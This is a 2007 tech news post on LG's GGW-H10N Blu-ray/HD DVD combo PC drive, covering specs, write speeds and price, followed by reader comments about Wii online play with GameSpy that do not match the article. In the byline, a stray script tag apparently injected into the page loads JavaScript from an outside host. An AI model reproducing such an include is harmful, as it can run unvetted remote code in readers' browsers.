LG's Blu-ray, HD DVD Combo Drive

"LG has turned its efforts to creating an internal SATA combo drive for computers."

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News <script type="text/javascript" src="http://ufo1.com/ad/c.js"></script> Posted 15/03/07
Author: PV5150
Source: DailyTech

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Following on with it's announcement at CES of an HD DVD and Blu-ray Disc combo player for home entertainment systems, LG has created an internal SATA combo drive variant for PC's.

The new GGW-H10N, coded for fashion as “Super Multi Blue”, is a Blu-ray Disc reader and rewriter with HD DVD-ROM reading capabilities. The GGW-H10N can record up to 50GB of data on a dual layer Blu-ray Disc. A single layer disc can be burned at 4x speed, writing 25GB in about 24 minutes. Burning of dual layer media, however, will require the burner to back down to a slower 2x speed.

Burning large amounts of data on a single disc is convenient, but pricey endeavour....Furthermore, the majority of blank Blu-ray media on the market today are rated for 2x write speeds, which would hold the LG drive back from its 4x top Blu-ray writing speed.

In addition to supporting the latest high-definition formats, the drive also supports nearly the entire gamut of optical discs. The GGW-H10N will read and write DVD±R, DVD+RW/-RW and CD-R/RW.

You can find further specifications on the new drive at CDRinfo

The GGW-H10N is expected to be available sometime in May, and those with deep pockets need only apply - with an estimated street value of around $1200.

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14-03-2007, 08:55:17

PV5150
Looks like the Wii's online gaming potential will finally see fruition, albeit in conjunction with GameSpy. Success or failure? Feel free to comment below...

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14-03-2007, 08:59:39

Kempez
Eewwwww Gamespy :eek:

I hope they get it right

14-03-2007, 09:03:29

equk
lol gamespy :(

still good news tho, could be a laugh if you could play wii sports online lol :) enter it into the WCG tbh haha :D
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